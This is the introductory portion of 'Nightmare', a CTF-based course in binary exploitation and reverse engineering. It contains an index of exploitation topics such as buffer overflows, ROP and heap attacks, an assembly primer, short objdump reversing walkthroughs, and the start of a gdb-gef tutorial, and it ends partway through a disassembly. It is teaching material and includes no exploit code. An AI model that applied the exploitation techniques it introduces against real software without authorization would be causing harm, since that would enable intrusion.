Nightmare

Nightmare is an intro to binary exploitation / reverse engineering course based around ctf challenges. I call it that because it's a lot of people's nightmare to get hit by weaponized 0 days, which these skills directly translate into doing that type of work (plus it's a really cool song).

What makes Nightmare different?

It's true there are a lot of resources out there to learn binary exploitation / reverse engineering skills, so what makes this different?

*    Amount of Content             -    There is a large amount of content in this course (currently over 90 challenges), laid out in a linear fashion.

*    Well Documented Write Ups         -    Each challenge comes with a well documented writeup explaining how to go from being handed the binary to doing the exploit dev.

*    Multiple Problems per Topic     -    Most modules have multiple different challenges. This way you can use one to learn how the attack works, and then apply it to the others. Also different iterations of the problem will have knowledge needed to solve it.

*    Using all open source tools     -    All the tools used here are free and open sourced. No IDA torrent needed.

*    A Place to Ask Questions         -    So if you have a problem that you've been working for days and can't get anywhere (and google isn't helping).

I have found that resources that have many of these things to be few and far between. As a result it can make learning these skills difficult since you don't really know what to learn, or how to learn it. This is essentially my attempt to help fix some of those problems.

Static Site

If you want, there is a static github pages site which people say looks better: https://guyinatuxedo.github.io/

If you want to manually build the site, I just used mdbook. After installing rust and cargo, just install mdbook with sudo cargo install mdbook. Then just run mdbook build.

Github

A copy of all of the challenges listed, can be found on the github: https://github.com/guyinatuxedo/nightmare

Special Thanks

Special thanks to these people:

noopnoop     -    For dealing with me
digitalcold  -    For showing me how good nightmare could look with mdbook
you nerds     -    For looking at this

Discord

If you get stuck on something for hours on end and google can't answer your question, try asking in the discord (or if you just feel like talking about cool security things). Here is a link to it https://discord.gg/p5E3VZF

Also if you notice any typos or mistakes, feel free to mention it in the Discord. With how much content is here, there is bound to be at least one.

Index

Here is the index for all of the content in this course. Feel free to go through the whole thing, or only parts of it (don't let me tell you how to live your life). For the order that you do the challenges in a module, I would recommend starting with the first.

Intro Departure

0.) Intro to the Project

1.) Intro to Assembly

  • Intro to assembly
  • Sample assembly reverse challs

2.) Intro to Tooling

  • gdb-gef
  • pwntools
  • ghidra

3.) Beginner RE

  • pico18_strings
  • helithumper_re
  • csaw18_tourofx86pt1
  • csaw19_beleaf

Stack pt 0 Stack Tendencies

4.) Buffer Overflow of Variables

  • Csaw18/boi
  • TokyoWesterns17/just_do_it
  • Tamu19_pwn1

5.) Buffer Overflow Call Function

  • Csaw18_getit
  • Tu17_vulnchat
  • Csaw16_warmup

5.1) aslr/pie intro

  • quick aslr/pie explanation

6.) Buffer Overflow Call Shellcode

  • Tamu19_pwn3
  • Csaw17_pilot
  • Tu18_shelleasy

6.1) nx intro

  • nx explanation

7.) ROP Chain Statically compiled

  • dcquals19_speedrun1
  • bkp16_simplecalc
  • dcquals16_feedme

7.1) stack canary intro

  • stack canary introduction

7.2) relro intro

  • relro introduction

8.) ROP Dynamically Compiled

  • csaw17_svc
  • fb19_overfloat
  • hs19_storytime
  • csaw19_babyboi
  • utc19_shellme

General pt 0 Stardust Challenges

9.) Bad Seed

  • h3_time
  • hsctf19_tuxtalkshow
  • sunshinectf17_prepared

10.) Format strings

  • backdoor17_bbpwn
  • twesterns16_greeting
  • pico_echo
  • watevr19_betstar

11.) Index Array

  • dcquals16_xkcd
  • sawmpctf19_dreamheaps
  • sunshinectf2017_alternativesolution

12.) Z3

  • tokyowesterns17_revrevrev
  • tuctf_future
  • hsctf19_abyte

13.) Angr

  • securityfest_fairlight
  • plaid19_icancount
  • defcamp15_r100

Stack pt 1 Return to Stack, truly a perfect game

14.) Ret2system

  • asis17_marymorton
  • hxp18_poorcanary
  • tu_guestbook

15.) Partial Overwrite

  • Tu17_vulnchat2
  • Tamu19_pwn2
  • hacklu15_stackstuff

16.) SROP

  • backdoorctf_funsignals
  • inctf17_stupiddrop
  • swamp19_syscaller
  • csaw19_smallboi

17.) Stack Pivot / Partial Overwrite

  • defconquals19_speedrun4
  • insomnihack18_onewrite
  • xctf16_b0verfl0w

18.) Ret2Csu / Ret2dl

  • ropemporium_ret2csu
  • 0ctf 2018 babystack

General pt 1 Armstrong challenges

19.) Shellcoding pt 1

  • defconquals19_s3
  • Csaw18_shellpointcode
  • defconquals19_s6

20.) Patching/Jumping

  • dcquals18_elfcrumble
  • plaid19_plaid_part_planning_III
  • csaw16_gametime

21.) .NET Reversing

  • csaw13_dotnet
  • csaw13_bikinibonanza
  • whitehat18_re06

22.) Movfuscation

  • sawmpctf19_future
  • asis18quals_babyc
  • other_movfuscated

23.) Custom Architectures

  • h3_challenge0
  • h3_challenge1
  • h3_challenge2
  • h3_challenge3

Heap Pt 0 rip Angel Beats

24.) Basic Heap overflow

  • protostar_heap1
  • protostar_heap0
  • protostar_heap2

25.) Intro to heap exploitation / binning

  • explanation

26.) Heap Grooming

  • explanation
  • swamp19_heapgolf
  • pico_areyouroot

27.) Edit Freed Chunk (pure explanation)

  • Use After Free
  • Double Free
  • Null Byte Heap Consolidation

28.) Fastbin Attack

  • explanation
  • 0ctf18_babyheap
  • csaw17_auir

29.) tcache

  • explanation
  • dcquals19_babyheap
  • plaid19_cpp

30.) unlink

  • explanation
  • hitcon14_stkof
  • zctf16_note

31.) Unsorted Bin Attack

  • explanation
  • hitcon_magicheap
  • 0ctf16_zer0storage

32.) Large Bin Attack

  • largebin0_explanation
  • largebin1_explanation

33.) Custom Malloc

  • csawquals17_minesweeper
  • csawquals18_AliensVSSamurai
  • csawquals19_traveller

General Pt 2 Generic Isekai #367

34.) Qemu / Emulated Targets

  • csaw18_tour_of_x86_pt_2
  • csaw15_hackingtime
  • csaw17_realism

35.) Integer Exploitation

  • puzzle
  • int_overflow_post
  • signed_unsigned_int_expl

36.) Obfuscated Reversing

  • csaw15_wyvern
  • csaw17_prophecy
  • bkp16_unholy

37.) FS Exploitation

  • swamp19_badfile

38.) Grab Bag

  • csaw18_doubletrouble
  • hackim19_shop
  • unit_vars_expl
  • csaw19_gibberish

Heap pt 1 heap x heap

39.) House of Spirit

  • explanation
  • hacklu14_oreo

40.) House of Lore

  • explanation

41.) House of Force

  • explanation
  • bkp16_cookbook

42.) House of Einherjar

  • explanation

43.) House of Orange

  • explanation

44.) More tcache

  • csaw19_poppingCaps0
  • csaw19_poppingCaps1

45.) Automatic Exploit Generation

  • csaw20_rop

Ending Documentation

  • References
  • What's next

Intro

So I just want to say a few things for the people who are super new to binary exploitation / reverse engineering. If you are already familiar with assembly code / binary exploitation and reverse engineering, and tools like ghidra / pwntools / gdb, feel free to skip this whole section (and any other content you already know). The purpose of this section is to give sort of an introduction to the super new people.

Binary Exploitation

First off what's a binary?

A binary is compiled code. When a programmer writes code in a language like C, the C code isn't what gets actually ran. It is compiled into a binary and the binary is run. Binary exploitation is the process of actually exploiting a binary, but what does that mean?

In a lot of code, you will find bugs. Think of a bug as a mistake in code that will allow for unintended functionality. As an attacker we can leverage this bug to attack the binary, and actually force it to do what we want by getting code execution. That means we actually have the binary execute code that we say, and can essentially hack the code.

Reverse Engineering

What is reverse engineering?

Reverse engineering is the process of figuring out how something works. It is a critical part of binary exploitation, since most of the time you are just handed a binary without any clue as to what it does. You have to figure out how it works, so you can attack it.

Objective

Most of the time, your objective is to obtain code execution on a box and pop a shell. If you have a different objective, it will usually be stated on the top line of the writeup. In almost every instance where your objective isn't to pop a shell, it's to some get ctf flag associated with this challenge, from the binary.

What should I know going into this course?

There are a few areas that will help. If you know how to code, that will help. If you know how to code somewhat low level languages like C, that will help more. Also an understanding of the basics of how to use linux helps a lot. But realistically, the only thing you really need is the ability to google things, and find answers by yourself.

Why CTF Challenges?

The reason why I went with ctf challenges for teaching binary exploitation / reverse engineering, is because most challenges only contains a small subset of exploitation knowledge. With that I can split it up into different subjects like buffer overflow into calling shellcode and fast bin exploitation, so it can be covered like a somewhat normal course.

Environment

For your environment to actually do this work, I would recommend having an Ubuntu VM. However don't let me tell you how to live your life.

Why Should I do this?

First off, I find it fun (if you don't find this fun, I wouldn't recommend doing this). Plus there are a lot of jobs out there to do this work, with not a lot of people to do the work. Plus who doesn't want to drop that chrome 0 day and watch the world burn?

Difficulty curve

One thing I want to say, is the difficulty curve in my opinion is like that of a roller coaster that goes up and down. There are certain parts that are easier, and certain parts that are harder. Granted difficulty is relative to the person.

Introduction to Assembly

So the first big wall you will need to tackle is starting to learn assembly. It may be a little bit tough, but it is perfectly doable and a critical step for what comes after. To start this off, I would recommend watching this video. It was made by the guy who actually got me interested in this line of work. I started off learning assembly by watching this video like 4 times. It's really well put together:

https://www.youtube.com/watch?v=75gBFiFtAb8

Now that you have watched the video, I will just have some documentation explaining some of the concepts around assembly code. A lot of this will be a repeat of that video, some of it won't be. Also all of this documentation will be for the Intel syntax. Also one thing you don't need to have everything here memorized before moving on, and parts of it will make more sense when you actually see it in action.

Compiling

So first off, what is assembly code? Assembly code is the code that actually runs on your computer by the processor. For instance take some C code:

#include <stdio.h>

void main(void)
{
    puts("Hello World!");
}

That code isn't ran. Thing is that code is compiled into assembly code, which looks like this:

0000000000001135 <main>:
    1135:       55                      push   rbp
    1136:       48 89 e5                mov    rbp,rsp
    1139:       48 8d 3d c4 0e 00 00    lea    rdi,[rip+0xec4]        # 2004 <_IO_stdin_used+0x4>
    1140:       e8 eb fe ff ff          call   1030 <puts@plt>
    1145:       90                      nop
    1146:       5d                      pop    rbp
    1147:       c3                      ret    
    1148:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
    114f:       00

The purpose of languages like C, is that we can program without having to really deal with assembly code. We write code that is handed to a compiler, and the compiler takes that code and generates assembly code that will accomplish whatever the C code tells it to. Then the assembly code is what is actually ran on the processor. Since this is the code that is actually ran, it helps to understand it. Also since most of the time we are handed compiled binaries we only have the assembly code to work from. However we have tools such as Ghidra that will take compiled assembly code and give us a view of what it thinks the C code that the code was compiled from looks like, so we don't need to read endless lines of assembly code.

Also with assembly code, there is a lot of different architectures. Different types of processors can run different types of assembly code architectures. The two we are dealing with the most here will be 64 bit, and 32 bit ELF (Executable and Linkable Format). I will often call these two things x64 and x86.

Registers

Registers are essentially places that the processor can store memory. You can think of them as buckets which the processor can store information in. Here is a list of the x64 registers, and what their common use cases are.

rbp: Base Pointer, points to the bottom of the current stack frame
rsp: Stack Pointer, points to the top of the current stack frame
rip: Instruction Pointer, points to the instruction to be executed

General Purpose Registers
These can be used for a variety of different things
rax:
rbx:
rcx:
rdx:
rsi:
rdi:
r8:
r9:
r10:
r11:
r12:
r13:
r14:
r15:

In x64 linux arguments to a function are passed via registers. The first few args are passed by these registers:

rdi:    First Argument
rsi:    Second Argument
rdx:    Third Argument
rcx:    Fourth Argument
r8:     Fifth Argument
r9:     Sixth Argument

With the x86 elf architecture, arguments are passed on the stack. Also one thing as you may know, in C function can return a value. In x64, this value is passed in the rax register. In x86 this value is passed in the eax register.

Also one thing, there are different sizes for registers. These typical sizes we will be dealing with are 8 bytes, 4 bytes, 2 bytes, and 1. The reason for these different sizes is due to the advancement of technology, we can store more data in a register.

+-----------------+---------------+---------------+------------+
| 8 Byte Register | Lower 4 Bytes | Lower 2 Bytes | Lower Byte |
+-----------------+---------------+---------------+------------+
|   rbp           |     ebp       |     bp        |     bpl    |
|   rsp           |     esp       |     sp        |     spl    |
|   rip           |     eip       |               |            |
|   rax           |     eax       |     ax        |     al     |
|   rbx           |     ebx       |     bx        |     bl     |
|   rcx           |     ecx       |     cx        |     cl     |
|   rdx           |     edx       |     dx        |     dl     |
|   rsi           |     esi       |     si        |     sil    |
|   rdi           |     edi       |     di        |     dil    |
|   r8            |     r8d       |     r8w       |     r8b    |
|   r9            |     r9d       |     r9w       |     r9b    |
|   r10           |     r10d      |     r10w      |     r10b   |
|   r11           |     r11d      |     r11w      |     r11b   |
|   r12           |     r12d      |     r12w      |     r12b   |
|   r13           |     r13d      |     r13w      |     r13b   |
|   r14           |     r14d      |     r14w      |     r14b   |
|   r15           |     r15d      |     r15w      |     r15b   |
+-----------------+---------------+---------------+------------+

In x64 we will see the 8 byte registers. However in x86 the largest sized registers we can use are the 4 byte registers like ebp, esp, eip etc. Now we can also use smaller registers, than the maximum sized registers for the architecture.

In x64 there is the rax, eax, ax, and al register. The rax register points to the full 8. The eax register is just the lower four bytes of the rax register. The ax register is the last 2 bytes of the rax register. Lastly the al register is the last byte of the rax register.

Words

You might hear the term word throughout this. A word is just two bytes of data. A dword is four bytes of data. A qword is eight bytes of data.

Stacks

Now one of the most common memory regions you will be dealing with is the stack. It is where local variables in the code are stored.

For instance, in this code the variable x is stored in the stack:

#include <stdio.h>

void main(void)
{
    int x = 5;
    puts("hi");
}

Specifically we can see it is stored on the stack at rbp-0x4.

0000000000001135 <main>:
    1135:       55                      push   rbp
    1136:       48 89 e5                mov    rbp,rsp
    1139:       48 83 ec 10             sub    rsp,0x10
    113d:       c7 45 fc 05 00 00 00    mov    DWORD PTR [rbp-0x4],0x5
    1144:       48 8d 3d b9 0e 00 00    lea    rdi,[rip+0xeb9]        # 2004 <_IO_stdin_used+0x4>
    114b:       e8 e0 fe ff ff          call   1030 <puts@plt>
    1150:       90                      nop
    1151:       c9                      leave  
    1152:       c3                      ret    
    1153:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
    115a:       00 00 00
    115d:       0f 1f 00                nop    DWORD PTR [rax]

Now values on the stack are moved on by either pushing them onto the stack, or popping them off. That is the only way to add or remove values from the stack (it is a LIFO data structure). However we can reference values on the stack.

The exact bounds of the stack is recorded by two registers, rbp and rsp. The base pointer rbp points to the bottom of the stack. The stack pointer rsp points to the top of the stack.

Flags

There is one register that contains flags. A flag is a particular bit of this register. If it is set or not, will typically mean something. Here is the list of flags.

00:     Carry Flag
01:     always 1
02:     Parity Flag
03:     always 0
04:     Adjust Flag
05:     always 0
06:     Zero Flag
07:     Sign Flag
08:     Trap Flag
09:     Interruption Flag     
10:     Direction Flag
11:     Overflow Flag
12:     I/O Privilege Field lower bit
13:     I/O Privilege Field higher bit
14:     Nested Task Flag
15:     Resume Flag

There are other flags then the one listed, however we really don't deal with them too much (and out of these, there are only a few we actively deal with).

If you want to hear more about this, checkout: https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture

Instructions

Now we will be covering some of the more common instructions you will see. This isn't everything you will see, but here are the more common things you will see.

mov

The move instruction just moves data from one register to another. For instance:

mov rax, rdx

This will just move the data from the rdx register to the rax register.

dereference

If you ever see brackets like [], they are meant to dereference, which deals with pointers. A pointer is a value that points to a particular memory address (it is a memory address). Dereferencing a pointer means to treat a pointer like the value it points to. For instance:

mov rax, [rdx]

Will move the value pointed to by rdx into the rax register. On the flipside:

mov [rax], rdx

Will move the value of the rdx register into whatever memory is pointed to by the rax register. The actual value of the rax register does not change.

lea

The lea instruction calculates the address of the second operand, and moves that address in the first. For instance:

lea rdi, [rbx+0x10]

This will move the address rbx+0x10 into the rdi register.

add

This just adds the two values together, and stores the sum in the first argument. For instance:

add rax, rdx

That will set rax equal to rax + rdx

sub

This value will subtract the second operand from the first one, and store the difference in the first argument. For instance:

sub rsp, 0x10

This will set the rsp register equal to rsp - 0x10

xor

This will perform the binary operation xor on the two arguments it is given, and stores the result in the first operation:

xor rdx, rax

That will set the rdx register equal to rdx ^ rax.

The and and or operations essentially do the same thing, except with the and or or binary operators.

push

The push instruction will grow the stack by either 8 bytes (for x64, 4 for x86), then push the contents of a register onto the new stack space. For instance:

push rax

This will grow the stack by 8 bytes, and the contents of the rax register will be on top of the stack.

pop

The pop instruction will pop the top 8 bytes (for x64, 4 for x86) off of the stack and into the argument. Then it will shrink the stack. For instance:

pop rax

The top 8 bytes of the stack will end up in the rax register.

jmp

The jmp instruction will jump to an instruction address. It is used to redirect code execution. For instance:

jmp 0x602010

That instruction will cause the code execution to jump to 0x602010, and execute whatever instruction is there.

call & ret

This is similar to the jmp instruction. The difference is it will push the values of rbp and rip onto the stack, then jump to whatever address it is given. This is used for calling functions. After the function is finished, a ret instruction is called which uses the pushed values of rbp and rip (saved base and instruction pointers) it can continue execution right where it left off

cmp

The cmp instruction is similar to that of the sub instruction. Except it doesn't store the result in the first argument. It checks if the result is less than zero, greater than zero, or equal to zero. Depending on the value it will set the flags accordingly.

jnz / jz

This jump if not zero and jump if zero (jnz/jz) instructions are pretty similar to the jump instruction. The difference is they will only execute the jump depending on the status of the zero flag. For jz it will only jump if the zero flag is set. The opposite is true for jnz.

Assembly Reversing Problems

These are some basic assembly reversing problems from: https://github.com/kablaa/CTF-Workshop/blob/master/Reversing/Challenges/IfThen/if_then

The purpose of these challenges is to get some experience reversing assembly code. Try to figure out what the binaries are doing. To view disassembly machine code into assembly code, you can use something like objdump.

Hello World

First let's take a look at the assembly code:

$    objdump -D hello_world -M intel | less

After searching through for the string main to find the main function, we see this:

080483fb <main>:
 80483fb:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80483ff:       83 e4 f0                and    esp,0xfffffff0
 8048402:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048405:       55                      push   ebp
 8048406:       89 e5                   mov    ebp,esp
 8048408:       51                      push   ecx
 8048409:       83 ec 04                sub    esp,0x4
 804840c:       83 ec 0c                sub    esp,0xc
 804840f:       68 b0 84 04 08          push   0x80484b0
 8048414:       e8 b7 fe ff ff          call   80482d0 <puts@plt>
 8048419:       83 c4 10                add    esp,0x10
 804841c:       b8 00 00 00 00          mov    eax,0x0
 8048421:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 8048424:       c9                      leave  
 8048425:       8d 61 fc                lea    esp,[ecx-0x4]
 8048428:       c3                      ret    
 8048429:       66 90                   xchg   ax,ax
 804842b:       66 90                   xchg   ax,ax
 804842d:       66 90                   xchg   ax,ax
 804842f:       90                      nop

Looking at the code, we see a function call to puts:

push   0x80484b0
call   80482d0 <puts@plt>

Looking through the rest of the code, we really don't see much else that is interesting for our perspective. So this code probably just prints a string. When we run the binary, we see that is correct:

$    ./hello_world
hello world!

If then

We start off by viewing the assembly code with objdump:

$    objdump -D if_then -M intel | less

After parsing through for the main function, we see this.

080483fb <main>:
 80483fb:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80483ff:       83 e4 f0                and    esp,0xfffffff0
 8048402:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048405:       55                      push   ebp
 8048406:       89 e5                   mov    ebp,esp
 8048408:       51                      push   ecx
 8048409:       83 ec 14                sub    esp,0x14
 804840c:       c7 45 f4 0a 00 00 00    mov    DWORD PTR [ebp-0xc],0xa
 8048413:       83 7d f4 0a             cmp    DWORD PTR [ebp-0xc],0xa
 8048417:       75 10                   jne    8048429 <main+0x2e>
 8048419:       83 ec 0c                sub    esp,0xc
 804841c:       68 c0 84 04 08          push   0x80484c0
 8048421:       e8 aa fe ff ff          call   80482d0 <puts@plt>
 8048426:       83 c4 10                add    esp,0x10
 8048429:       b8 00 00 00 00          mov    eax,0x0
 804842e:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 8048431:       c9                      leave  
 8048432:       8d 61 fc                lea    esp,[ecx-0x4]
 8048435:       c3                      ret    
 8048436:       66 90                   xchg   ax,ax
 8048438:       66 90                   xchg   ax,ax
 804843a:       66 90                   xchg   ax,ax
 804843c:       66 90                   xchg   ax,ax
 804843e:       66 90                   xchg   ax,ax

We can see that it loads the value 0xa into ebp-0xc:

mov    DWORD PTR [ebp-0xc],0xa

Immediately proceeding that, we see that it runs a cmp instruction on it to check if it is equal. If they are not equal it will jump to main+0x2e. Since it was just loaded with the value 0xa, it should not make the jump:

cmp    DWORD PTR [ebp-0xc],0xa
jne    8048429 <main+0x2e>

proceeding that it should make a call to puts:

sub    esp,0xc
push   0x80484c0
call   80482d0 <puts@plt>

So after looking at this code, we see that it should make that puts call. When we run it, we see that is what it does:

$    ./if_then
x = ten

Loop

Let's take a look at the assembly code:

$    objdump -D loop -M intel | less

Quickly searching for the main function, we find it:

080483fb <main>:
 80483fb:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80483ff:       83 e4 f0                and    esp,0xfffffff0
 8048402:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048405:       55                      push   ebp
 8048406:       89 e5                   mov    ebp,esp
 8048408:       51                      push   ecx
 8048409:       83 ec 14                sub    esp,0x14
 804840c:       c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 8048413:       eb 17                   jmp    804842c <main+0x31>
 8048415:       83 ec 08                sub    esp,0x8
 8048418:       ff 75 f4                push   DWORD PTR [ebp-0xc]
 804841b:       68 c0 84 04 08          push   0x80484c0
 8048420:       e8 ab fe ff ff          call   80482d0 <printf@plt>
 8048425:       83 c4 10                add    esp,0x10
 8048428:       83 45 f4 01             add    DWORD PTR [ebp-0xc],0x1
 804842c:       83 7d f4 13             cmp    DWORD PTR [ebp-0xc],0x13
 8048430:       7e e3                   jle    8048415 <main+0x1a>
 8048432:       b8 00 00 00 00          mov    eax,0x0
 8048437:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804843a:       c9                      leave  
 804843b:       8d 61 fc                lea    esp,[ecx-0x4]
 804843e:       c3                      ret    
 804843f:       90                      nop

In this function, we can see that it will initialize a stack variable at ebp-0xc to 0, then jump to 0x804842c (main+0x31):

mov    DWORD PTR [ebp-0xc],0x0
jmp    804842c <main+0x31>

Looking at the instructions at 0x804842c we see this:

cmp    DWORD PTR [ebp-0xc],0x13
jle    8048415 <main+0x1a>

We see that it compares the stack value at ebp-0xc against 0x13, and if it is less than or equal then it will jump to 0x8048415 (0x80483fb + 0x1a). That brings us to a printf call:

sub    esp,0x8
push   DWORD PTR [ebp-0xc]
push   0x80484c0
call   80482d0 <printf@plt>

It looks like it is printing out the contents of ebp-0xc in some sort of format string. After that we can see that it increments the value of ebp-0xc, before doing the cmp again:

add    DWORD PTR [ebp-0xc],0x1

So right, putting all of the pieces together, now we are probably looking at a for loop that will run 20 times, and print the iteration counter each time. Something that looks similar to this:

int i = 0;
for (i = 0; i < 20; i ++)
{
    printf("%d", i);
}

When we run the binary, we see that it is true:

$    ./loop
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

ghidra

Ghidra is an open sourced decompiler. A compiler takes source code like C, and converts it into machine code. A decompiler tries to do the opposite. It takes machine code and generates code that resembles it's source code. However, since the process of compiling source code isn't like a 1 to 1 function, the code it gives us isn't always 100% correct. Even with that it can be a great help, and really reduce the amount of time we spend reversing challenges (btw reversing is just the process of figuring out what something does).

Installation

Installation is pretty simple. Install Java, then you just run ghidra (since ghidra was written in java). Google can help with this.

Using it

Since we are primarily using Ghidra's GUI, I feel that the best way to learn how to use Ghidra would be to either try it yourself, or watch some videos (versus just reading a lot of text). Feel free to look into this yourself, and / or try some of these videos/links that helpful people on the internet made. You don't need to understand :

https://www.youtube.com/watch?v=fTGTnrgjuGA
https://www.youtube.com/watch?v=OJlKtRgC68U
https://threatvector.cylance.com/en_us/home/an-introduction-to-code-analysis-with-ghidra.html
https://ghidra-sre.org/InstallationGuide.html

Also after this, I would recommend having a linux VM (I typically use Ubuntu for ctfing).

gdb-gef

This file was contributed to by deveynull (also made the hello_world binary)

So throughout this project, we will be using a lot of different tools. The purpose of this module is to show you some of the basics of three of those tools. We will start with gdb-gef.

First off, gdb is a debugger (specifically the gnu debugger). Gef is an a gdb wrapper, designed to give us some extended features (https://github.com/hugsy/gef). To install it, you can find the instructions on the github page. it's super simple.

A debugger is software that allows us to perform various types of analysis of a process as it's running, and alter it in a variety of different ways.

Now you can tell if you have it installed by just looking at gdb. For instance this is the look of gdb if you have gef installed:

$ gdb
GNU gdb (Ubuntu 8.2.91.20190405-0ubuntu3) 8.2.91.20190405-git
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.2.91.20190405-git using Python engine 3.7
[*] 5 commands could not be loaded, run `gef missing` to know why.
gef➤  

If you don't have it installed this is what vanilla gdb looks like:

$    gdb
GNU gdb (Ubuntu 8.2.91.20190405-0ubuntu3) 8.2.91.20190405-git
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb)

Running

To run the binary hello_world in gdb:

gdb ./hello_world 
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./hello_world...(no debugging symbols found)...done.
gef➤  r
Starting program: /home/devey/nightmare/modules/02-intro_tooling/hello_world 
hello world!
[Inferior 1 (process 9133) exited normally]

In order to enter debugger mode, we can set breakpoints. Breakpoints are places in the program where GDB will know to stop execution to allow you to examine the contents of the stack. The most common breakpoint to set is on main, which we can set with 'break main' or 'b main'. Most GDB commands can be shortened. Check out this cheat sheet for more:

gef➤  break main
Breakpoint 1 at 0x8048409
gef➤  r
Starting program: /home/devey/nightmare/modules/02-intro_tooling/hello_world 
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xf7fb9dd8  →  0xffffd19c  →  0xffffd389  →  "CLUTTER_IM_MODULE=xim"
$ebx   : 0x0       
$ecx   : 0xffffd100  →  0x00000001
$edx   : 0xffffd124  →  0x00000000
$esp   : 0xffffd0e4  →  0xffffd100  →  0x00000001
$ebp   : 0xffffd0e8  →  0x00000000
$esi   : 0xf7fb8000  →  0x001d4d6c
$edi   : 0x0       
$eip   : 0x08048409  →  <main+14> sub esp, 0x4
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0e4│+0x0000: 0xffffd100  →  0x00000001	 ← $esp
0xffffd0e8│+0x0004: 0x00000000	 ← $ebp
0xffffd0ec│+0x0008: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
0xffffd0f0│+0x000c: 0xf7fb8000  →  0x001d4d6c
0xffffd0f4│+0x0010: 0xf7fb8000  →  0x001d4d6c
0xffffd0f8│+0x0014: 0x00000000
0xffffd0fc│+0x0018: 0xf7dfbe81  →  <__libc_start_main+241> add esp, 0x10
0xffffd100│+0x001c: 0x00000001
──────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048405 <main+10>        push   ebp
    0x8048406 <main+11>        mov    ebp, esp
    0x8048408 <main+13>        push   ecx
 →  0x8048409 <main+14>        sub    esp, 0x4
    0x804840c <main+17>        sub    esp, 0xc
    0x804840f <main+20>        push   0x80484b0
    0x8048414 <main+25>        call   0x80482d0 <puts@plt>
    0x8048419 <main+30>        add    esp, 0x10
    0x804841c <main+33>        mov    eax, 0x0
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hello_world", stopped 0x8048409 in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048409 → main()
─────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048409 in main ()

Now you can step through the function by typing 'nexti' until the program ends. 'nexti' will have you go instruction by intruction through the program, but will not step into function calls such as puts.

Other ways to navigate a program are:

  • 'next' - which will take you through one line of code, but will step over function calls such as puts.
  • 'step' - which will take you through one line of code, but will step into function calls
  • 'stepi' - whch will take you through one instruction at a time, stepping into function calls

For each of these methods, work through the program after setting a breakpoint in main. Take specific care to see what step and stepi see after entering puts. Most of the time, because those are part of standard libraries, we don't need to step into anything.

Breakpoints

Let's take a look at the main function using 'disassemble' or 'disass':

gef➤  disass main
Dump of assembler code for function main:
   0x080483fb <+0>:	lea    ecx,[esp+0x4]
   0x080483ff <+4>:	and    esp,0xfffffff0
   0x08048402 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048405 <+10>:	push   ebp
   0x08048406 <+11>:	mov    ebp,esp
   0x08048408 <+13>:	push   ecx
   0x08048409 <+14>:	sub    esp,0x4
   0x0804840c <+17>:	sub    esp,0xc
   0x0804840f <+20>:	push   0x80484b0
   0x08048414 <+25>:	call   0x80482d0 <puts@plt>
   0x08048419 <+30>:	add    esp,0x10
   0x0804841c <+33>:	mov    eax,0x0
   0x08048421 <+38>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048424 <+41>:	leave  
   0x08048425 <+42>:	lea    esp,[ecx-0x4]
